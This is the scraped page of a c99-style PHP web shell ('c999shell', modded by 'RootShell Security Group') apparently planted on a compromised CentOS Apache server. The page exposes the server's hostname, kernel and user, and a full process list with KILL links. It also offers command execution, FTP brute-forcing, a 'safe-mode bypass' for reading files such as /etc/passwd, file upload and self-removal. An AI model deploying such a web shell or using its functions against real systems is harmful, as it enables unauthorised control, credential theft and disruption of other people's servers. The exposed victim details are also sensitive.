!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/gray-theme/firewall/   drwxr-xr-x
Free 48.08 GB of 127.8 GB (37.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Processes:
USERPID%CPU%MEMVSZRSSTTYSTATSTARTTIMECOMMAND
6830690.00.02020808?SJul220:00hald-addon-acpi: listening on acpid socket /var/run/acpid.socketKILL
6830600.00.062404308?SsJul220:01haldKILL
apache73980.00.0258567008?S05:200:00/usr/sbin/httpdKILL
apache74050.40.0257526944?S05:200:00/usr/sbin/httpdKILL
apache73970.00.0258166328?S05:200:00/usr/sbin/httpdKILL
apache74030.00.0258166328?S05:200:00/usr/sbin/httpdKILL
apache73930.00.0258166328?S05:190:00/usr/sbin/httpdKILL
apache73880.00.0258166952?S05:190:00/usr/sbin/httpdKILL
apache73890.10.0258207004?S05:190:00/usr/sbin/httpdKILL
apache73910.10.0258166952?S05:190:00/usr/sbin/httpdKILL
apache74070.50.0257206944?S05:200:00/usr/sbin/httpdKILL
apache73960.00.0258166328?S05:200:00/usr/sbin/httpdKILL
apache74270.20.0257566992?S05:200:00/usr/sbin/httpdKILL
apache74330.90.0258087000?S05:200:00/usr/sbin/httpdKILL
apache74340.20.0258247016?S05:200:00/usr/sbin/httpdKILL
apache74420.10.0257246908?S05:200:00/usr/sbin/httpdKILL
apache74470.30.0257246908?S05:200:00/usr/sbin/httpdKILL
apache74320.20.0257767012?S05:200:00/usr/sbin/httpdKILL
apache74310.10.0257446928?S05:200:00/usr/sbin/httpdKILL
apache73850.20.0258207004?S05:190:00/usr/sbin/httpdKILL
apache74280.40.0257646948?S05:200:00/usr/sbin/httpdKILL
apache74290.40.0258447072?S05:200:00/usr/sbin/httpdKILL
apache74300.20.0258247008?S05:200:00/usr/sbin/httpdKILL
apache74080.60.0258727048?S05:200:00/usr/sbin/httpdKILL
apache73820.30.0258247016?S05:190:00/usr/sbin/httpdKILL
apache46880.40.0258367116?S05:160:01/usr/sbin/httpdKILL
apache10220.10.0258447288?S04:570:02/usr/sbin/httpdKILL
apache8360.10.0259247412?S04:570:02/usr/sbin/httpdKILL
apache46920.20.0257967008?S05:160:00/usr/sbin/httpdKILL
apache46810.20.0258327160?S05:160:00/usr/sbin/httpdKILL
apache46780.40.0262367580?S05:160:00/usr/sbin/httpdKILL
apache45890.30.0258287036?S05:160:00/usr/sbin/httpdKILL
apache45930.20.0258287056?S05:160:00/usr/sbin/httpdKILL
apache46160.30.0258327052?S05:160:00/usr/sbin/httpdKILL
apache46310.20.0258247200?S05:160:00/usr/sbin/httpdKILL
apache47400.20.0258007032?S05:160:00/usr/sbin/httpdKILL
apache47410.10.0258247204?S05:160:00/usr/sbin/httpdKILL
apache49570.40.0258167072?S05:170:00/usr/sbin/httpdKILL
apache50050.20.0259167324?S05:170:00/usr/sbin/httpdKILL
apache50210.40.0258967176?S05:170:00/usr/sbin/httpdKILL
apache74530.10.0257566940?S05:200:00/usr/sbin/httpdKILL
apache49480.30.0257687052?S05:170:00/usr/sbin/httpdKILL
apache48790.20.0258847056?S05:160:00/usr/sbin/httpdKILL
apache6970.10.0258047100?S04:570:02/usr/sbin/httpdKILL
apache6960.10.0259207360?S04:570:02/usr/sbin/httpdKILL
apache47440.20.0258327084?S05:160:00/usr/sbin/httpdKILL
apache48520.30.0258167024?S05:160:00/usr/sbin/httpdKILL
apache73840.10.0259207108?S05:190:00/usr/sbin/httpdKILL
apache74010.00.0258166328?S05:200:00/usr/sbin/httpdKILL
apache79670.70.0257286900?S05:200:00/usr/sbin/httpdKILL
apache79770.30.0257046136?S05:200:00/usr/sbin/httpdKILL
apache79784.50.0258166916?S05:200:00/usr/sbin/httpdKILL
apache79865.00.0258247008?S05:200:00/usr/sbin/httpdKILL
apache78871.70.0257286900?S05:200:00/usr/sbin/httpdKILL
apache78860.40.0257566904?S05:200:00/usr/sbin/httpdKILL
apache78750.10.0257046136?S05:200:00/usr/sbin/httpdKILL
apache78760.40.0257286900?S05:200:00/usr/sbin/httpdKILL
apache78841.60.0257566956?S05:200:00/usr/sbin/httpdKILL
apache78851.60.0257286904?S05:200:00/usr/sbin/httpdKILL
apache79876.00.0258247008?S05:200:00/usr/sbin/httpdKILL
apache79885.00.0258166916?S05:200:00/usr/sbin/httpdKILL
apache80260.00.0242326624?R05:200:00/usr/sbin/httpdKILL
apache80280.00.0255685876?S05:200:00/usr/sbin/httpdKILL
apache80290.00.0242326628?R05:200:00/usr/sbin/httpdKILL
apache80390.00.02184836?R05:200:00ps -auxKILL
apache80240.00.0257046136?S05:200:00/usr/sbin/httpdKILL
apache80230.00.0257046136?S05:200:00/usr/sbin/httpdKILL
apache79898.00.0258287012?S05:200:00/usr/sbin/httpdKILL
apache80200.00.0257046136?S05:200:00/usr/sbin/httpdKILL
apache74550.30.0258367052?S05:200:00/usr/sbin/httpdKILL
apache80220.00.0247607156?R05:200:00/usr/sbin/httpdKILL
apache78660.00.0257046136?S05:200:00/usr/sbin/httpdKILL
apache80210.00.0250567480?R05:200:00/usr/sbin/httpdKILL
apache76330.20.0258247032?S05:200:00/usr/sbin/httpdKILL
apache76320.00.0258166328?S05:200:00/usr/sbin/httpdKILL
apache76340.60.0257487124?S05:200:00/usr/sbin/httpdKILL
apache76490.50.0258487084?S05:200:00/usr/sbin/httpdKILL
apache76500.20.0258247044?S05:200:00/usr/sbin/httpdKILL
apache76310.00.0258166328?S05:200:00/usr/sbin/httpdKILL
apache76270.00.0258166328?S05:200:00/usr/sbin/httpdKILL
apache78210.20.0257246872?S05:200:00/usr/sbin/httpdKILL
apache74560.10.0258207004?S05:200:00/usr/sbin/httpdKILL
apache74580.30.0259167108?S05:200:00/usr/sbin/httpdKILL
apache76230.00.0258166328?S05:200:00/usr/sbin/httpdKILL
apache76510.30.0257246900?S05:200:00/usr/sbin/httpdKILL
apache76260.00.0258166328?S05:200:00/usr/sbin/httpdKILL
apache77990.10.0257486756?S05:200:00/usr/sbin/httpdKILL
apache78180.50.0262767472?S05:200:00/usr/sbin/httpdKILL
apache76520.30.0257286912?S05:200:00/usr/sbin/httpdKILL
apache78200.40.0257606952?S05:200:00/usr/sbin/httpdKILL
apache77980.10.0257246896?S05:200:00/usr/sbin/httpdKILL
apache78190.40.0257286900?S05:200:00/usr/sbin/httpdKILL
apache77840.50.0257847000?S05:200:00/usr/sbin/httpdKILL
apache76540.30.0257566940?S05:200:00/usr/sbin/httpdKILL
apache76530.10.0257567056?S05:200:00/usr/sbin/httpdKILL
apache76550.40.0257767012?S05:200:00/usr/sbin/httpdKILL
avahi34360.00.026001288?SsJul220:01avahi-daemon: running [mx-ll-110-164-51-230.local]KILL
avahi34370.00.02600304?SsJul220:00avahi-daemon: chroot helperKILL
dbus29450.00.02748948?SsJul220:02dbus-daemon --systemKILL
gdm36680.00.13134015876?SsJul220:00/usr/libexec/gdmgreeterKILL
mysql32652.25.3599484446524?SlJul221927:19/usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --socket=/var/lib/mysql/mysql.sockKILL
ntp31850.00.045244520?SLsJul220:00ntpd -u ntp:ntp -p /var/run/ntpd.pid -gKILL
root32180.00.045361212?SJul220:00/bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock --log-error=/var/log/mysqld.log --pid-file=/var/run/mysqld/mysqld.pid --user=mysqlKILL
root33540.00.0228287940?SsJul220:01/usr/sbin/httpdKILL
root33440.00.01908368?SsJul220:00gpm -m /dev/input/mice -t exps2KILL
root33260.00.093321932?SsJul220:00sendmail: accepting connectionsKILL
root31250.00.0303321384?SslJul220:15automountKILL
root280550.00.000?SSep190:00[pdflush]KILL
root33630.00.052841100?SsJul220:00crondKILL
root30970.00.01916460?SsJul220:00/usr/bin/hidd --serverKILL
root31420.00.05156500?SsJul220:00./hpiodKILL
root31600.00.070681068?SsJul221:43/usr/sbin/sshdKILL
root31470.00.0134684644?SJul220:00python ./hpssd.pyKILL
root31690.00.0101442372?SsJul220:00cupsdKILL
root35280.00.0155562904?SsJul220:00/usr/sbin/gdm-binary -nodaemonKILL
root35260.00.01664448tty6Ss+Jul220:00/sbin/mingetty tty6KILL
root35250.00.01664424tty5Ss+Jul220:00/sbin/mingetty tty5KILL
root36400.00.0161682336?SJul220:00/usr/sbin/gdm-binary -nodaemonKILL
root36420.00.0285203768?SlJul220:00/usr/libexec/gdm-rh-security-token-helperKILL
root71320.00.000?SSep190:00[pdflush]KILL
root36450.00.0112525204tty7Ss+Jul220:13/usr/bin/Xorg :0 -br -audit 0 -auth /var/gdm/:0.Xauth -nolisten tcp vt7KILL
root35230.00.01664424tty4Ss+Jul220:00/sbin/mingetty tty4KILL
root35220.00.01664428tty3Ss+Jul220:00/sbin/mingetty tty3KILL
root35120.00.12634011140?SNJul220:01/usr/bin/python -tt /usr/sbin/yum-updatesdKILL
root35060.00.03516436?SJul220:00/usr/sbin/smartd -q neverKILL
root35140.00.025641120?SNJul220:00/usr/libexec/gam_serverKILL
root35150.00.11564813588?SsJul220:01/usr/bin/perl /usr/libexec/webmin/miniserv.pl /etc/webmin/miniserv.confKILL
root35210.00.01664420tty2Ss+Jul220:00/sbin/mingetty tty2KILL
root35200.00.01664420tty1Ss+Jul220:00/sbin/mingetty tty1KILL
root34090.00.02268432?SsJul220:00/usr/sbin/atdKILL
root30470.00.01676528?SsJul220:00/usr/sbin/acpidKILL
root520.00.000?S<Jul220:00[kblockd/7]KILL
root510.00.000?S<Jul220:00[kblockd/6]KILL
root530.00.000?S<Jul220:00[kacpid]KILL
root1880.00.000?S<Jul220:00[cqueue/0]KILL
root1900.00.000?S<Jul220:00[cqueue/2]KILL
root1890.00.000?S<Jul220:00[cqueue/1]KILL
root500.00.000?S<Jul220:00[kblockd/5]KILL
root490.00.000?S<Jul220:00[kblockd/4]KILL
root350.00.000?S<Jul220:00[kthread]KILL
root340.00.000?S<Jul220:00[khelper]KILL
root450.00.000?S<Jul220:00[kblockd/0]KILL
root460.00.000?S<Jul220:02[kblockd/1]KILL
root480.00.000?S<Jul220:01[kblockd/3]KILL
root470.00.000?S<Jul220:00[kblockd/2]KILL
root1910.00.000?S<Jul220:00[cqueue/3]KILL
root1920.00.000?S<Jul220:00[cqueue/4]KILL
root3070.00.000?S<Jul220:00[aio/2]KILL
root3060.00.000?S<Jul220:00[aio/1]KILL
root3080.00.000?S<Jul220:00[aio/3]KILL
root3090.00.000?S<Jul220:00[aio/4]KILL
root3110.00.000?S<Jul220:00[aio/6]KILL
root3100.00.000?S<Jul220:00[aio/5]KILL
root3050.00.000?S<Jul220:00[aio/0]KILL
root3040.00.000?S<Jul220:28[kswapd0]KILL
root1940.00.000?S<Jul220:00[cqueue/6]KILL
root1930.00.000?S<Jul220:00[cqueue/5]KILL
root1950.00.000?S<Jul220:00[cqueue/7]KILL
root1980.00.000?S<Jul220:00[khubd]KILL
root3010.00.000?SJul220:00[khungtaskd]KILL
root2000.00.000?S<Jul220:00[kseriod]KILL
root330.00.000?S<Jul220:00[events/7]KILL
root320.00.000?S<Jul220:00[events/6]KILL
root110.00.000?S<Jul220:01[migration/3]KILL
root100.00.000?S<Jul220:00[watchdog/2]KILL
root120.00.000?SNJul220:00[ksoftirqd/3]KILL
root130.00.000?S<Jul220:00[watchdog/3]KILL
root150.00.000?SNJul220:00[ksoftirqd/4]KILL
root140.00.000?S<Jul220:00[migration/4]KILL
root90.00.000?SNJul220:00[ksoftirqd/2]KILL
root80.00.000?S<Jul220:01[migration/2]KILL
root30.00.000?SNJul220:00[ksoftirqd/0]KILL
root20.00.000?S<Jul220:00[migration/0]KILL
root40.00.000?S<Jul220:00[watchdog/0]KILL
root50.00.000?S<Jul220:02[migration/1]KILL
root70.00.000?S<Jul220:00[watchdog/1]KILL
root60.00.000?SNJul220:00[ksoftirqd/1]KILL
root160.00.000?S<Jul220:00[watchdog/4]KILL
root170.00.000?S<Jul220:02[migration/5]KILL
root270.00.000?S<Jul220:00[events/1]KILL
root260.00.000?S<Jul220:00[events/0]KILL
root280.00.000?S<Jul220:00[events/2]KILL
root290.00.000?S<Jul220:00[events/3]KILL
root310.00.000?S<Jul220:00[events/5]KILL
root300.00.000?S<Jul220:00[events/4]KILL
root250.00.000?S<Jul220:00[watchdog/7]KILL
root240.00.000?SNJul220:00[ksoftirqd/7]KILL
root190.00.000?S<Jul220:00[watchdog/5]KILL
root180.00.000?SNJul220:00[ksoftirqd/5]KILL
root200.00.000?S<Jul220:00[migration/6]KILL
root210.00.000?SNJul220:00[ksoftirqd/6]KILL
root230.00.000?S<Jul220:00[migration/7]KILL
root220.00.000?S<Jul220:00[watchdog/6]KILL
root3120.00.000?S<Jul220:00[aio/7]KILL
root4790.00.000?S<Jul220:00[kpsmoused]KILL
root28180.00.000?S<Jul220:00[kondemand/3]KILL
root28170.00.000?S<Jul220:00[kondemand/2]KILL
root28190.00.000?S<Jul220:00[kondemand/4]KILL
root28200.00.000?S<Jul220:00[kondemand/5]KILL
root28220.00.000?S<Jul220:00[kondemand/7]KILL
root28210.00.000?S<Jul220:00[kondemand/6]KILL
root28160.00.000?S<Jul220:00[kondemand/1]KILL
root28150.00.000?S<Jul220:00[kondemand/0]KILL
root27290.00.013544820?S<slJul221:19auditdKILL
root22300.00.000?S<Jul220:00[kjournald]KILL
root27310.00.013100912?S<slJul220:18/sbin/audispdKILL
root27530.00.01728572?SsJul221:15syslogd -m 0KILL
root27560.00.01680404?SsJul220:00klogd -xKILL
root28420.00.02472376?SsJul220:31irqbalanceKILL
root28860.00.000?S<Jul220:00[rpciod/0]KILL
root29300.00.05820644?SsJul220:00rpc.idmapdKILL
root29060.00.01968832?SsJul220:00rpc.statdKILL
root29540.00.02172764?SsJul220:00/usr/sbin/hcidKILL
root30010.00.000?S<Jul220:00[krfcommd]KILL
root10.00.02072632?SsJul220:13init [5]KILL
root30370.00.0231121436?SslJul220:01pcscdKILL
root28930.00.000?S<Jul220:00[rpciod/7]KILL
root28920.00.000?S<Jul220:00[rpciod/6]KILL
root28880.00.000?S<Jul220:00[rpciod/2]KILL
root28870.00.000?S<Jul220:00[rpciod/1]KILL
root28890.00.000?S<Jul220:00[rpciod/3]KILL
root28900.00.000?S<Jul220:00[rpciod/4]KILL
root28910.00.000?S<Jul220:00[rpciod/5]KILL
root30610.00.03164980?SJul220:00hald-runnerKILL
root21600.00.000?S<Jul220:00[kmpath_handlerd]KILL
root6030.00.000?S<Jul220:00[ata/7]KILL
root5850.00.000?S<Jul220:00[mpt/0]KILL
root6040.00.000?S<Jul220:00[ata_aux]KILL
root6140.00.000?S<Jul220:00[scsi_eh_1]KILL
root6150.00.000?S<Jul220:00[scsi_eh_2]KILL
root5840.00.000?S<Jul220:00[mpt_poll_0]KILL
root6020.00.000?S<Jul220:00[ata/6]KILL
root6010.00.000?S<Jul220:00[ata/5]KILL
root5970.00.000?S<Jul220:00[ata/1]KILL
root5960.00.000?S<Jul220:00[ata/0]KILL
root5980.00.000?S<Jul220:00[ata/2]KILL
root5990.00.000?S<Jul220:00[ata/3]KILL
root6000.00.000?S<Jul220:00[ata/4]KILL
root21590.00.000?S<Jul220:00[kmpathd/7]KILL
root6160.00.000?S<Jul220:00[scsi_eh_3]KILL
root21540.00.000?S<Jul220:00[kmpathd/2]KILL
root21530.00.000?S<Jul220:00[kmpathd/1]KILL
root21550.00.000?S<Jul220:00[kmpathd/3]KILL
root21560.00.000?S<Jul220:00[kmpathd/4]KILL
root21580.00.000?S<Jul220:00[kmpathd/6]KILL
root21570.00.000?S<Jul220:00[kmpathd/5]KILL
root21520.00.000?S<Jul220:00[kmpathd/0]KILL
root7710.00.02476928?S<sJul220:00/sbin/udevd -dKILL
root6360.00.000?S<Jul220:00[kstriped]KILL
root6170.00.000?S<Jul220:00[scsi_eh_4]KILL
root6730.00.000?S<Jul220:00[ksnapd]KILL
root7120.00.000?S<Jul225:10[kjournald]KILL
root7380.00.000?S<Jul220:05[kauditd]KILL
root5860.00.000?S<Jul220:00[scsi_eh_0]KILL
rpc28530.00.01816612?SsJul220:00portmapKILL
smmsp33340.00.081681528?SsJul220:00sendmail: Queue runner@01:00:00 for /var/spool/clientmqueueKILL
xfs33920.00.038401680?SsJul220:00xfs -droppriv -daemonKILL

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0366 ]--